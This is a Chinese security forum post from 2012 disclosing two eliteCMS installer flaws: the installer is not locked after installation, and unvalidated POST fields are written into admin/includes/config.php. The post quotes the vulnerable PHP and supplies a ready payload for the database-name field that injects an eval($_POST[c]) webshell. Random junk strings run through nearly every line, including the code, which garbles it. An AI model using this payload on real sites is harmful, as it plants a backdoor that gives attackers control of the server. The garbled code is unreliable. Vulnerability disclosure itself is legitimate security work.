找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2477|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
' L6 }$ Y5 G, q" V( @! t3 ?
3 L; j5 A. t; w/ l- e8 V5 U另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
' u! h* M. x- j1 c% w我们来看代码:5 W; g; f$ l) L5 L) h

' I# J  x8 p5 p$ l8 }...8 D( o9 i4 `' `8 O/ t" q
elseif ($_GET['step'] == "4") {
- o% ?- d# B/ x! r9 _: }7 `    $file = "../admin/includes/config.php";" W8 o) z& K1 K, k! U  @" @
    $write = "<?php\n";% J( x& d' ^9 C: _; `; ]% i* f
    $write .= "/**\n";+ \, }- C! K3 f5 k2 C6 \
    $write .= "*\n";
5 M! M$ O0 A7 x    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";! H/ M) c2 o8 v# r% G; e
...略...; w( D! h; T3 V8 v, [8 X" D
    $write .= "*\n";$ k- a; }( Z0 e$ G  r$ l1 E
    $write .= "*/\n";0 R$ W# r1 b3 E* ?6 b& H6 Y3 h
    $write .= "\n";3 f; a6 l( i1 W
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
) R. c  N: c. N5 d+ t8 r5 m    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";& ~" s  x3 D( ?4 |. e% m
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";/ {% ?8 I$ I/ n, z% B. C! T4 S, b8 X
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
  i2 Y4 B; F$ M$ ^    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
" @9 ?; j/ w8 |    $write .= "if (!\$connection) {\n";
- }6 V- d! r8 _# P8 ?    $write .= "        die(\"Database connection failed\" .mysql_error());\n";- ?- Z3 \  R8 o9 |0 t# N
    $write .= "        \n";
+ h* O6 D( `, V& d) L* K  A    $write .= "} \n";* U# z8 y3 o* c: p& w* p/ S
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";9 }4 G) q2 p2 j: P# L( A
    $write .= "if (!\$db_select) {\n";
: z# G, |" L( a6 Q2 z    $write .= "        die(\"Database select failed\" .mysql_error());\n";; ^& ~. w# U' i7 p9 v# W2 m2 q0 k
    $write .= "        \n";( [9 G0 v5 x# i; j, u
    $write .= "} \n";+ q0 n$ c# T8 ^  @
    $write .= "?>\n";# `0 e* W! B- A( G4 M( m

' m  U5 W1 ]6 X; k- R% S    $writer = fopen($file, 'w');7 G  o* O1 c# z1 y/ e' R, p- U& K% m
...
- G9 u( w! v0 j. w4 j' b
. S1 v& M" \- e% G9 Y在看代码:
( |) J5 J- m/ q  K5 M+ O1 U
/ r4 }) o3 E5 }$ T( ?$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];$ D/ Y' P+ ~0 H! n$ F* a
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
/ `# s( \% m3 r$_SESSION['DB_USER'] = $_POST['DB_USER'];
7 Q. L. p: Y7 b" z% V$ z$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
  h9 m% |' G; W& @# c
9 W# q0 X/ h$ z8 a" A! _取值未作任何验证
% b  L, w% X7 o5 y  W% I6 Z如果将数据库名POST数据:4 N" D& [3 Q: V& E$ H4 J, Q/ @2 ^

4 [; q+ {$ M& D, g$ a"?><?php eval($_POST[c]);?><?php+ {+ V" z$ E- A; y$ O. v0 y5 ?

! v* e- M/ D! W将导致一句话后门写入/admin/includes/config.php
2 `! r( }) Q! d3 B( T. n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表